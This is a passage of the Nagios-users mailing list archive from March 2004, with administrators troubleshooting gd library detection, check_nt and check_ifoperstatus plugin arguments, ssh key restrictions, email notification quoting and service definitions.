<5.2.1.1.2.20040325153530.033a2bc0@195.206.160.253> Hi, I'm been having great difficulty getting the Nagios installtion to recognise that my installion of gd does have jpeg and png correctly installed (this is confirmed when installing gd). Is there a decent article available anywhere for a full installation of nagios with a detailed breakdown of how to install all these libraries and nagios (i.e: a simple "follow the instructions" type of guide) that actually works? I can't find anything decent on Google and my unix experience is fairly basic to understand what the problems are! ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Thu Mar 25 17:01:24 2004 From: marc at ena.com (Marc Powell) Date: Thu, 25 Mar 2004 10:01:24 -0600 Subject: problem with router monitor Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A38A@mismail2.ena.com> On Thursday, March 25, 2004 8:25 AM, Hugo Rebello shared with us: > Hello Guys, > > Any body help me ? > Today I use the follow command to monitor my routers by snmp: > > check_ifstatus -H ip_address -C snmp_community > > However I check only the interface, with this command I can?t monitor > if the protocol is up or not. Is this what you're looking for? bash-2.05a$ ./check_ifoperstatus --help check_ifoperstatus plugin for Nagios monitors operational status of a particular network interface on the target host Usage: -H (--hostname) Hostname to query - (required) -C (--community) SNMP read community (defaults to public, used with SNMP v1 and v2c -v (--snmp_version) 1 for SNMP v1 (default) 2 for SNMP v2c SNMP v2c will use get_bulk for less overhead if monitoring with -d -k (--key) SNMP ifIndex value -d (--descr) SNMP ifDescr value -p (--port) SNMP port (default 161) -I (--ifmib) Agent supports IFMIB ifXTable. Do not use if you don't know what this is. -V (--version) Plugin version -h (--help) usage help -k or -d must be specified check_ifoperstatus (nagios-plugins 1.3.0-alpha1) 1.1 The nagios plugins come with ABSOLUTELY NO WARRANTY. You may redistribute copies of the plugins under the terms of the GNU General Public License. For more information about these matters, see the file named COPYING. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From matt.pounsett at cira.ca Thu Mar 25 17:27:11 2004 From: matt.pounsett at cira.ca (Matt Pounsett) Date: Thu, 25 Mar 2004 11:27:11 -0500 (EST) Subject: check_by_ssh question In-Reply-To: <4062AEDA.4080000@op5.se> References: <4062AEDA.4080000@op5.se> Message-ID: On Thu, 25 Mar 2004, Andreas Ericsson wrote: > > things significantly. It's quite easy to limit one's passwordless ssh keys to > > ONLY run certain commands, and to prevent the invocation of shells and so > > forth, thus preventing those keys from being used to invade other machines. > > > Didn't know about the commands bit. How does that work? The details are all in the sshd(8) man page.. on my system under the "AUTHORIZED_KEYS FILE FORMAT" heading. > As for the shell; disable it and you won't get much checking done since > SSH forks a shell to take care of the command you want to. True. But you can prevent the key from being used to get an interactive shell, which was my point. -- Matt Pounsett CIRA - Canadian Internet Registration Authority Technical Support Programmer 350 Sparks Street, Suite 1110 matt.pounsett at cira.ca Ottawa, Ontario, Canada 613.237.5335 ext. 231 http://www.cira.ca ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From thepcguy at veryspeedy.net Thu Mar 25 18:01:54 2004 From: thepcguy at veryspeedy.net (Pat) Date: Thu, 25 Mar 2004 12:01:54 -0500 Subject: nsclient Message-ID: <1080234113.9101.14.camel@localhost.localdomain> I anewbie. I've had it up and running for a week now and everything's fine. I just installed nsclient on one of my W2K boxes to try and get it working there. I've got all the commands done but I can't figure out what arguments I need to send to get a proper response. I keep getting "wrong -l argument" Can't find any doc for it either. Anybody knows? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jwhittington at excelorant.com Thu Mar 25 18:18:15 2004 From: jwhittington at excelorant.com (James) Date: Thu, 25 Mar 2004 12:18:15 -0500 Subject: Nagios email notifications, newline not getting interpreted ? Message-ID: <1080235094.989.66.camel@localhost.localdomain> Howdy, Trying to get rolling with Nagios for the first time. Installed version 1.2 on new FC1 linux server from RPM by Dag. Configured things to the point that nagios would start cleanly. Installed lastest version of nagmin, think I pointed things to the right folder. Well here's the thing, Nagios is sending out email notifications but the message come through as one string like this: ""*****""Nagios""*****nnNotification""Type:""PROBLEMnHost:""nagnState:""UPnAddress:""10.1.0.124nInfo:""HTTP""WARNING:""HTTP/1.1""403""ForbiddennnDate/Time:""Thu""Mar""25""11:45:57""EST""2004n"" This is what my host-notify-by-email looks like: /usr/bin/printf \"%b\" \"***** Nagios *****\n\nNotification Type: $NOTIFICATIONTYPE$\nHost: $HOSTNAME$\nState: $HOSTSTATE$\nAddress: $HOSTADDRESS$\nInfo: $OUTPUT$\n\nDate/Time: $DATETIME$\n\" | /bin/mail -s \"Host $HOSTSTATE$ alert for $HOSTNAME$!\" $CONTACTEMAIL$ Also the above message try to go to alert at mydomain.com, for at mydomain.com and myaddress at mydomain.com. It's like quotes and newlines are being ignored. This appeared to happen after adding nagmin to the mix. After comparing old configs to new configs I see where one config uses echo and one uses printf. Anybody seen anything like this before. Thanks. -- _______________________________________________ James Whittington Systems Administrator Excelorant, LLC A TM Floyd Affiliate Company 1800 St. Julian Place P.O. Box 8263 Columbia, SC 29202 803.765.1310 | Phone 800.780.1170 | Toll Free 803.765.1431 | Fax jwhittington at excelorant.com _______________________________________________ ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From hugo.rebello at dhl.com Thu Mar 25 18:14:37 2004 From: hugo.rebello at dhl.com (Hugo Rebello) Date: Thu, 25 Mar 2004 14:14:37 -0300 Subject: problem with router monitor In-Reply-To: <370ACCFA5BB3B346A31222E5559BF91F03A38A@mismail2.ena.com> References: <370ACCFA5BB3B346A31222E5559BF91F03A38A@mismail2.ena.com> Message-ID: I don?t known, How this check can I monitor if the protocol is up or not ? About this check_ifoperstatus, could you tell me what sintaxe should I use ? I don?t known what I put in --key and --descr option. Thank you. Best Regards, Hugo -----Original Message----- From: Marc Powell [mailto:marc at ena.com] Sent: quinta-feira, 25 de mar?o de 2004 13:01 To: hugo.rebello at DHL.com; Nagios Users (E-mail) Subject: RE: [Nagios-users] problem with router monitor On Thursday, March 25, 2004 8:25 AM, Hugo Rebello shared with us: > Hello Guys, > > Any body help me ? > Today I use the follow command to monitor my routers by snmp: > > check_ifstatus -H ip_address -C snmp_community > > However I check only the interface, with this command I can?t monitor > if the protocol is up or not. Is this what you're looking for? bash-2.05a$ ./check_ifoperstatus --help check_ifoperstatus plugin for Nagios monitors operational status of a particular network interface on the target host Usage: -H (--hostname) Hostname to query - (required) -C (--community) SNMP read community (defaults to public, used with SNMP v1 and v2c -v (--snmp_version) 1 for SNMP v1 (default) 2 for SNMP v2c SNMP v2c will use get_bulk for less overhead if monitoring with -d -k (--key) SNMP ifIndex value -d (--descr) SNMP ifDescr value -p (--port) SNMP port (default 161) -I (--ifmib) Agent supports IFMIB ifXTable. Do not use if you don't know what this is. -V (--version) Plugin version -h (--help) usage help -k or -d must be specified check_ifoperstatus (nagios-plugins 1.3.0-alpha1) 1.1 The nagios plugins come with ABSOLUTELY NO WARRANTY. You may redistribute copies of the plugins under the terms of the GNU General Public License. For more information about these matters, see the file named COPYING. -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: InterScan_SafeStamp.txt URL: From marc at ena.com Thu Mar 25 18:52:54 2004 From: marc at ena.com (Marc Powell) Date: Thu, 25 Mar 2004 11:52:54 -0600 Subject: nsclient Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A38B@mismail2.ena.com> On Thursday, March 25, 2004 11:02 AM, Pat shared with us: > I anewbie. I've had it up and running for a week now and everything's > fine. > > I just installed nsclient on one of my W2K boxes to try and get it > working there. > I've got all the commands done but I can't figure out what arguments > I need to send to get a proper response. I keep getting "wrong -l > argument" > > Can't find any doc for it either. > > Anybody knows? Run ./check_nt --help. The arguments supplied to -l vary depending on what variable you are checking. Some examples (note: these are not the best way to define reusable commands but are examples) -- Check used disk space on C: and D: command_line $USER1$/check_nt -H $HOSTADDRESS$ -p 1248 -v USEDDISKSPACE -l C -w 90 -c 95 command_line $USER1$/check_nt -H $HOSTADDRESS$ -p 1248 -v USEDDISKSPACE -l D -w 90 -c 95 Make sure IIS component is running: command_line $USER1$/check_nt -H $HOSTADDRESS$ -p 1248 -v PROCSTATE -d showall -l inetinfo.exe Make sure interesting Remedy processes are running: command_line $USER1$/check_nt -H $HOSTADDRESS$ -p 1248 -v PROCSTATE -d showall -l armonitor.exe,aremaild.exe,arplugin.exe,arserver.exe Check cpu load: command_line $USER1$/check_nt -H $HOSTADDRESS$ -p 1248 -v CPULOAD -l 10,80,95,60,80,95,1440,80,95 Check the size of the paging file: command_line $USER1$/check_nt -H $HOSTADDRESS$ -p 1248 -v COUNTER -l "\\Paging File(_Total)\\% Usage","Paging File usage is %.2f %%" -w $ARG1$ -c $ARG2$ -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rmiller at duskglow.com Thu Mar 25 19:22:09 2004 From: rmiller at duskglow.com (Russell Miller) Date: Thu, 25 Mar 2004 12:22:09 -0600 Subject: ping problem Message-ID: <200403251222.16082.rmiller@duskglow.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, I'm running nagios 1.1 (will update when I get some time). I'm having a rather odd problem. It seems to be functioning correctly, but it's leaving a bunch of ping processes behind that are all hanging in an infinite loop of: setitimer(ITIMER_REAL, {it_interval={0, 0}, it_value={10, 0}}, NULL) = 0 recvmsg(3, 0xbfffecc0, 0) = -1 EAGAIN (Resource temporarily unavailable) Has anyone encountered this in the past and how do I fix it? Thanks. - --Russell - -- 12:20:44 up 47 days, 1:03, 2 users, load average: 1.72, 1.26, 0.83 Russell Miller - rmiller at duskglow.com - Somewhere near Sioux City, IA. Youth cannot know age, but age is guilty if it forgets youth - Professor Dumbledore Hi! I'm a .signature virus! Copy me into your ~/.signature, please! -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQFAYyNVURTA4VCI9OARApVZAJ9ktP5M6FFccjxfroizUPYw6bCc4gCfeKKy E8V04xQiUDeBasOdXCP5LRc= =AuyM -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jrhett at isite.net Thu Mar 25 19:27:18 2004 From: jrhett at isite.net (Joe Rhett) Date: Thu, 25 Mar 2004 10:27:18 -0800 Subject: Host check notification problem In-Reply-To: <4062119C.F153065@lindy.stanford.edu> References: <4062119C.F153065@lindy.stanford.edu> Message-ID: <20040325182718.GA8738@isite.net> On Wed, Mar 24, 2004 at 02:54:20PM -0800, Jim Stosick wrote: > I'm using Nagios 1.2 on Solaris 8, and host check notifications > appear to not be repeating. If a host goes down a notification is Just FYI, I don't have that problem at all and I'm running the same versions as you. That would suggest it is a configuration problem. Perhaps you should post the relevant configuration options? -- Joe Rhett Chief Geek JRhett at Isite.Net Isite Services, Inc. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jrhett at isite.net Thu Mar 25 19:32:36 2004 From: jrhett at isite.net (Joe Rhett) Date: Thu, 25 Mar 2004 10:32:36 -0800 Subject: Installation guide In-Reply-To: <5.2.1.1.2.20040325153530.033a2bc0@195.206.160.253> References: <5.2.1.1.2.20040325153530.033a2bc0@195.206.160.253> Message-ID: <20040325183236.GB8738@isite.net> Alex, you don't need these libraries for the installation, you need them during the compilation. The way to get nagios to recognize them is the 'configure' options, like --with-libjpeg= (or whatever they are, I'm not looking at the configure options right now -- check ./configure --help) Actually, that is assuming that you compiled nagios with the libraries statically (which I recommend, they are quite small). If you compiled them with shared libraries, then you need to modify your shared library path. This has nothing to do with Nagios, and everything to do with your system and how to modify the loader profile. Nagios can't document that for you. On Thu, Mar 25, 2004 at 03:43:09PM +0000, Alex Farrer wrote: > Hi, > > I'm been having great difficulty getting the Nagios installtion to > recognise that my installion of gd does have jpeg and png correctly > installed (this is confirmed when installing gd). Is there a decent article > available anywhere for a full installation of nagios with a detailed > breakdown of how to install all these libraries and nagios (i.e: a simple > "follow the instructions" type of guide) that actually works? > > I can't find anything decent on Google and my unix experience is fairly > basic to understand what the problems are! > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. ::: Messages without supporting info will risk being > sent to /dev/null -- Joe Rhett Chief Geek JRhett at Isite.Net Isite Services, Inc. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jdoyle at lewisgaleclinic.com Thu Mar 25 19:30:09 2004 From: jdoyle at lewisgaleclinic.com (Jack Doyle) Date: Thu, 25 Mar 2004 13:30:09 -0500 Subject: nsclient Message-ID: I haven't done a whole lot yet with our NSClient but here are the commands I have set up.. hope they're helpful.. check_nt_disk $USER1$/check_nt -H $HOSTADDRESS$ --variable=USEDDISKSPACE -l $ARG1$ -w 82 -c 87 check_nt_mem $USER1$/check_nt -H $HOSTADDRESS$ --variable=MEMUSE -w 75 -c 80 check_nt_service $USER1$/check_nt -H $HOSTADDRESS$ -v SERVICESTATE -d SHOWALL -l $ARG1$ check_nt_uptime $USER1$/check_nt -H $HOSTADDRESS$ --variable=UPTIME ----- John N. Doyle, Network+ Certified Professional Systems Operations Specialist Lewis-Gale Clinic Information Systems 540.772.3669 >PGP Key Available: http://68.106.83.67:8082/pgp.txt -----Original Message----- From: Pat [mailto:thepcguy at veryspeedy.net] Sent: Thursday, March 25, 2004 12:02 PM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] nsclient I anewbie. I've had it up and running for a week now and everything's fine. I just installed nsclient on one of my W2K boxes to try and get it working there. I've got all the commands done but I can't figure out what arguments I need to send to get a proper response. I keep getting "wrong -l argument" Can't find any doc for it either. Anybody knows? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rnelson at windchannel.com Thu Mar 25 19:34:43 2004 From: rnelson at windchannel.com (Robert Nelson) Date: Thu, 25 Mar 2004 13:34:43 -0500 Subject: statusmap, weird problem Message-ID: BTW I should also mention that while these libraries (libjpeg and libpng) were required for GD to work, the configure script said that GD support was complete without them... Rob Nelson Network Engineer Windchannel Communications M: 919-538-6326 > -----Original Message----- > From: Peter Gutmann [mailto:peter.gutmann at db.com] > Sent: Thursday, March 25, 2004 9:50 AM > To: pla at softflare.com > Cc: nagios-users at lists.sourceforge.net > Subject: Re: [Nagios-users] Re: statusmap, weird problem > > > I too am having the same problem with the status map page in > release 1.2. > I have recompled the gd libraries as you previously suggested, and > according to ldd pngtogd2 is using the correct libraries. > > Any other thoughts? > > Peter > ---- > Peter Gutmann > Peter.Gutmann at db.com > > > > > > "Paul L. Allen" > Sent by: nagios-users-admin at lists.sourceforge.net > 03/25/2004 05:55 AM > > > To: Mikko Kaipila > cc: nagios-users at lists.sourceforge.net > Subject: [Nagios-users] Re: statusmap, weird problem > > > Mikko Kaipila writes: > > ldd statusmap.cgi > [...] > > is that right? > > Looks OK to me. > > > I have used http://www.boutell.com/gd/ libaries to > > building gd-support. > > If GD didn't come with your distro, that's the place to get it from. > > > I have tried to convert images with help of pngtogd2 > (which came when I > > installed that gd-2.0.22 libraries and binaries) > > That is the right thing to do to ensure that the images match the > version of GD that you're running. > > > Still no help > > I don't know of anything else that could be causing the > problem. Apart > from the blindingly obvious stuff - are the gd2 images in > /usr/local/nagios/share/images/logos/? Other than that, there's the > very unlikely possibility that there's something about your PNGs that > is confusing pngtogd2 - get one of the image packs from the Nagios > extras and try converting the PNGs from that. > > -- > Paul Allen > Softflare Support > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. > ::: Messages without supporting info will risk being sent to > /dev/null > > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and > OS when reporting any issue. > ::: Messages without supporting info will risk being sent to > /dev/null > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jrhett at isite.net Thu Mar 25 19:35:37 2004 From: jrhett at isite.net (Joe Rhett) Date: Thu, 25 Mar 2004 10:35:37 -0800 Subject: Nagios email notifications, newline not getting interpreted ? In-Reply-To: <1080235094.989.66.camel@localhost.localdomain> References: <1080235094.989.66.camel@localhost.localdomain> Message-ID: <20040325183537.GC8738@isite.net> Why are the quotes escaped? I think you're telling it to ignore the quotes as dividing characters, which is why none of the options are being seen. My configuration and the example configs don't escape the quotes. On Thu, Mar 25, 2004 at 12:18:15PM -0500, James wrote: > Howdy, > Trying to get rolling with Nagios for the first time. Installed version > 1.2 on new FC1 linux server from RPM by Dag. Configured things to the > point that nagios would start cleanly. Installed lastest version of > nagmin, think I pointed things to the right folder. > > Well here's the thing, Nagios is sending out email notifications but the > message come through as one string like this: > ""*****""Nagios""*****nnNotification""Type:""PROBLEMnHost:""nagnState:""UPnAddress:""10.1.0.124nInfo:""HTTP""WARNING:""HTTP/1.1""403""ForbiddennnDate/Time:""Thu""Mar""25""11:45:57""EST""2004n"" > This is what my host-notify-by-email looks like: > /usr/bin/printf \"%b\" \"***** Nagios *****\n\nNotification Type: > $NOTIFICATIONTYPE$\nHost: $HOSTNAME$\nState: $HOSTSTATE$\nAddress: > $HOSTADDRESS$\nInfo: $OUTPUT$\n\nDate/Time: $DATETIME$\n\" | /bin/mail > -s \"Host $HOSTSTATE$ alert for $HOSTNAME$!\" $CONTACTEMAIL$ > > Also the above message try to go to alert at mydomain.com, for at mydomain.com > and myaddress at mydomain.com. It's like quotes and newlines are being > ignored. > > This appeared to happen after adding nagmin to the mix. After comparing > old configs to new configs I see where one config uses echo and one uses > printf. > > Anybody seen anything like this before. > > Thanks. > -- > _______________________________________________ > > James Whittington > Systems Administrator > > Excelorant, LLC > A TM Floyd Affiliate Company > 1800 St. Julian Place > P.O. Box 8263 > Columbia, SC 29202 > > 803.765.1310 | Phone > 800.780.1170 | Toll Free > 803.765.1431 | Fax > > jwhittington at excelorant.com > > _______________________________________________ > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null -- Joe Rhett Chief Geek JRhett at Isite.Net Isite Services, Inc. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rnelson at windchannel.com Thu Mar 25 19:33:39 2004 From: rnelson at windchannel.com (Robert Nelson) Date: Thu, 25 Mar 2004 13:33:39 -0500 Subject: statusmap, weird problem Message-ID: I had to install libjpeg, libpng, and lib-gd on a Red Hat system to get this working. I can't recall if it was just lib*, or lib*-devel, sorry. Rob Nelson Network Engineer Windchannel Communications M: 919-538-6326 > -----Original Message----- > From: Peter Gutmann [mailto:peter.gutmann at db.com] > Sent: Thursday, March 25, 2004 9:50 AM > To: pla at softflare.com > Cc: nagios-users at lists.sourceforge.net > Subject: Re: [Nagios-users] Re: statusmap, weird problem > > > I too am having the same problem with the status map page in > release 1.2. > I have recompled the gd libraries as you previously suggested, and > according to ldd pngtogd2 is using the correct libraries. > > Any other thoughts? > > Peter > ---- > Peter Gutmann > Peter.Gutmann at db.com > > > > > > "Paul L. Allen" > Sent by: nagios-users-admin at lists.sourceforge.net > 03/25/2004 05:55 AM > > > To: Mikko Kaipila > cc: nagios-users at lists.sourceforge.net > Subject: [Nagios-users] Re: statusmap, weird problem > > > Mikko Kaipila writes: > > ldd statusmap.cgi > [...] > > is that right? > > Looks OK to me. > > > I have used http://www.boutell.com/gd/ libaries to > > building gd-support. > > If GD didn't come with your distro, that's the place to get it from. > > > I have tried to convert images with help of pngtogd2 > (which came when I > > installed that gd-2.0.22 libraries and binaries) > > That is the right thing to do to ensure that the images match the > version of GD that you're running. > > > Still no help > > I don't know of anything else that could be causing the > problem. Apart > from the blindingly obvious stuff - are the gd2 images in > /usr/local/nagios/share/images/logos/? Other than that, there's the > very unlikely possibility that there's something about your PNGs that > is confusing pngtogd2 - get one of the image packs from the Nagios > extras and try converting the PNGs from that. > > -- > Paul Allen > Softflare Support > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. > ::: Messages without supporting info will risk being sent to > /dev/null > > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and > OS when reporting any issue. > ::: Messages without supporting info will risk being sent to > /dev/null > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From mgaskin at jsi-corp.com Thu Mar 25 19:48:53 2004 From: mgaskin at jsi-corp.com (Michael Gaskin) Date: Thu, 25 Mar 2004 10:48:53 -0800 Subject: Fwd: Services Message-ID: Joe... I was an idiot... If you notice in the checkcommand I made a mistake by calling it $HOSTNAME$ rather than $HOSTADDRESS$... Just a dumb oversight on my part.... I did as you suggested by the way, running it manually and thats how I went, "O crap..."... Thanks. >>> Joe Rhett 3/25/2004 10:41:34 AM >>> Because it's not a nagios issue. Processor utilization uses 'check_load'. The other options use different commands, right? So apparently check_load is trying to connect to the server in a different way. Use a sniffer to figure out what the difference is, or read the docs. You can also just run these by hand until you get check_load to work properly and then add it back into the configuration. On Wed, Mar 24, 2004 at 11:35:13AM -0800, Michael Gaskin wrote: > I wonder if my question below met the criteria of "read the manual > idiot..." :) Just looking for some reason why I am getting strange > results. > > Thanks. > > >>> "Michael Gaskin" 3/23/2004 3:57:06 PM >>> > Hi all... > > I am getting: (removed date/time) > > DS Open OK Directory Services Database is open (DS version 10410.98) > PING OK - Packet loss = 0%, RTA = 0.17 ms > Free - SYS CRITICAL 3/3 Connection refused by host > Free - APPS OK 1/3 54876 MB (94%) free on volume APPS > Processor Utilization - 15 Minutes CRITICAL 3/3 Connection refused by > host > > -=-=-=-=-= > > Question... Why would some services show a connection refused while the > others work? Here's the services file: > > ## CBSRV002 > > define service{ > use generic-service > host_name cbsrv002 > service_description PING > is_volatile 0 > check_period 24x7 > max_check_attempts 3 > normal_check_interval 5 > retry_check_interval 1 > contact_groups novell-admins > notification_interval 120 > notification_period 24x7 > notification_options c,r > check_command check_ping!100.0,20%!500.0,60% > } > > define service{ > use generic-service > host_name cbsrv002 > service_description DS Open > is_volatile 0 > check_period 24x7 > max_check_attempts 3 > normal_check_interval 5 > retry_check_interval 1 > contact_groups novell-admins > notification_interval 240 > notification_period 24x7 > notification_options c,r > check_command check_nwstat!DSDB > } > > define service{ > use generic-service > host_name cbsrv002 > service_description Processor Utilization - 15 > Minutes > is_volatile 0 > check_period 24x7 > max_check_attempts 3 > normal_check_interval 5 > retry_check_interval 1 > contact_groups 